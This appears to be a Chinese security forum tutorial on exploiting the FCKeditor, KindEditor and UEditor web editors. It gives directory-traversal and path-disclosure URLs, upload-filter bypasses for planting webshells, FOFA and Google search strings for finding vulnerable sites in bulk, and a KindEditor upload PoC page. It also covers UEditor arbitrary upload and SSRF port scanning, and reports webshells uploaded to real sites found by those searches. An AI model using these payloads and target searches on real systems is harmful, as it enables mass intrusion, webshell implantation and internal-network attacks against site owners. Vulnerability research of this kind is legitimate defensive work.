三款主流编辑器FCKeditor、Kindeditor和ueditor漏洞整理分析
一、FCKeditor
1.1 漏洞分析
1.查看版本号
/fckeditor/editor/dialog/fck_about.html
/fckeditor/_whatsnew.html
2.常见的测试上传地址
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
3.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
4.列目录
修改CurrentFolder 参数使用 ../../来进入不同的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
爆网站绝对路径
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp
也可以直接浏览盘符:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
5.bypass
FCKeditor有些版本上传的文件例如:shell.php会变为shell_php
绕过:
(1)win系统环境下,提交shell.php+空格绕过
(2)上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
FCKeditor v2.4.3中File类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
但是保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀,
直接导致在win下在上传文件后面加个.来突破,也可以利用2003解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件,也可以在win下在上传文件后面加个.来突破,在apache下,"Apache文件名解析缺陷漏洞"也可以利用,如上传cer文件
对于有些没有限制.htaccess文件上传成功到服务器的.htaccess文件里的代码可以让 .jpg后缀名文件格式的文件名以php格式解析,
先上传.htaccess文件,再上传图片马即可。
1.2漏洞利用
1、搜索引擎中批量搜索(FOFA,Google等):
inurl:Fckeditor/editor
app="CKEditor-fckeditor"
发现还能匹配到355个结果
可使用/fckeditor/_whatsnew.html
查看版本号
也可使用/fckeditor/editor/dialog/fck_about.html
查看
然后寻找上传点,直接上传aspx木马文件
成功连接
下面这个站无法直接上传木马,可以利用解析漏洞,先创建一个1.asp的文件夹,再上传图片马,即可。
二、 Kindeditor
小于等于4.1.5文件上传漏洞
2.1 漏洞分析
漏洞存在于小于等于kindeditor4.1.5编辑器中,但是有些>4.1.5的版本也是支持的。Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持Java、.NET、PHP、ASP等程序。html文件里面可以嵌套暗链接地址、自动跳转以及嵌套xss。
Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file
然后我们可以看到file所支持的文件格式。
2.2 漏洞利用
1、搜索引擎中批量搜索(FOFA,Google等):
inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp
kindeditor
2、根本脚本语言自定义不同的上传地址,上传之前有必要验证文件 upload_json.* 的存在
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
可目录变量查看是否存在那种脚本上传漏洞:
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
3、查看版本信息
http://www.xxx.org/kindeditor/kindeditor.js
4、版本是4.1.9可以进行尝试如下路径是否存在有必要验证文件 upload_json.*
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
5、如下图可以看出是存在上传点:
6、写出下面的构造上传poc,这里需要修改<script>...<script>以及url : 的内容,根据实际情况修改.然后保存为html
<html><head>
<title>Uploader</title>
<script src="http://ip/kindeditor/kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://ip/kindeditor/asp.net/upload_json.ashx?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
7、用浏览器打开上述html文件,上传想要上传的文件,可以在回包中看到成功上传txt文件
8、由于上传文件属性的限制,虽不能上传木马,但是危害也是极大的,许多党政机关的网站都因为该漏洞被植入了色情广告页面。
三、ueditor
存在漏洞版本:
net =1.3.6 || =1.5.0 || <=1.4.3 存在任意文件上传、存在盲ssrf、存在xml上传导致xss漏洞
php<=1.4.3 存在盲ssrf、存在xml上传导致xss漏洞
jsp<=1.4.3 存在盲ssrf、存在xml上传导致xss漏洞
3.1漏洞分析
3.1.1任意文件上传
1、漏洞存在于net/controller.ashx 文件,我们可以看到第14行接收了一个名为action参数。
2、然后action会通过switch case去判断,当action等于catchimage(远程文件抓取)时,
我们去CrawlerHandler中查看,我们发现当Sources为空或长度为零时,返回"参数错误:没有指定抓取源"
3、当source的值不等于空的时候,就执行下面代码
4、我们定位到Crawler方法处,65行是创建一个请求,将响应内容赋值给response
5、观察下面的这行代码,它的作用是从响应头里面的ContentType进行检索。就是去匹配是否有image这个内容。
6、如果是image,进入下面一行代码,会将文件保存在服务器中,所以只要自定义下ContentType:image/jpeg,就可以抓取任意类型的文件了,就造成了任意文件上传漏洞
3.1.2ssrf
但是在小于1.4.3版本的时候,是没有进行过滤的,进而造成了ssrf漏洞。
在已修复ssrf漏洞的版本,是会过滤ip的
3.2漏洞利用
在fofa搜索ueditor发现有464,288 条匹配结果,大部分是国内的网站
先访问下UEditor/controller.ashx?action=catchimage
使用hackbar发post包
成功上线
bypasswaf
利用ssrf漏洞可以探测 ip+端口,
将source[]=ip+端口,然后在bp的爆破模块进行爆破就可以了,
存在即返回200 不存在 即 返回500,但需注意的是没有漏洞的版本会200回包,但是state会返回INVALID_URL。
ssrf漏洞可以和内网一些redis、log4j等漏洞打组合拳,能够收获意想不到的结果
- 本文作者: 吃肉不长胖
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1111
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!